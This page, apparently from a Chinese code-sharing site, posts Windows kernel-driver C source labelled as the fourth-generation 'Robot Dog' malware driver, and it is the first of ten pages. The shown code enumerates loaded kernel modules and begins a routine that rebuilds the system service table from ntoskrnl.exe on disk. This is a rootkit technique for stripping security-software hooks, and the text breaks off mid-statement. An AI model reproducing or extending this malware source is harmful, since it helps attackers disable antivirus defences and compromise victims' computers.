第四代机器狗驱动代码

typedef struct _SYSTEM_MODULE_INFORMATION {
ULONG Reserved[2];
PVOID Base;
ULONG Size;
ULONG Flags;
USHORT Index;
USHORT Unknown;
USHORT LoadCount;
USHORT ModuleNameOffset;
CHAR ImageName[255];
} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;

ULONG GetModuleBase(char* name){

    ULONG                       n,i ;
    PSYSTEM_MODULE_INFORMATION  module;
    PVOID                       pbuftmp;
        char modulename[255];

    ZwQuerySystemInformation(11, &n, 0, &n);
    pbuftmp = ExAllocatePool(NonPagedPool, n);
    ZwQuerySystemInformation(11, pbuftmp, n, NULL);

module = (PSYSTEM_MODULE_INFORMATION)((PULONG )pbuftmp + 1 );
n      = *((PULONG)pbuftmp );
    for ( i = 0; i < n; i++ )
    {
                strcpy(modulename,module[i].ImageName + module[i].ModuleNameOffset);
                if(!_strnicmp(modulename,name,strlen(name))){
                         ExFreePool(pbuftmp);
                        return (ULONG)module[i].Base;
                }
    }

ExFreePool(pbuftmp);
return 0;
}

VOID PatchSSDT(){
        ULONG offset,i,imagebase,kernelbase;
        UNICODE_STRING ntoskrnl;
        OBJECT_ATTRIBUTES oa;
        IO_STATUS_BLOCK iosb;
        SIZE_T size=0;
        PVOID base=   NULL;
        HANDLE hFile,hSection;
realssdt=ExAllocatePool(0,KeServiceDescriptorTable->NumberOfServices*4);
RtlInITUnicodeString(&ntoskrnl,L"\\SystemRoot\\System32\\ntoskrnl.exe");
InitializeObjectAttributes(&oa,&ntoskrnl, OBJ_KERNEL_HANDLE|OBJ_CASE_INSENS

上一页  [1] [2] [3] [4] [5] [6] [7] [8] [9] [10]  ... 下一页  >>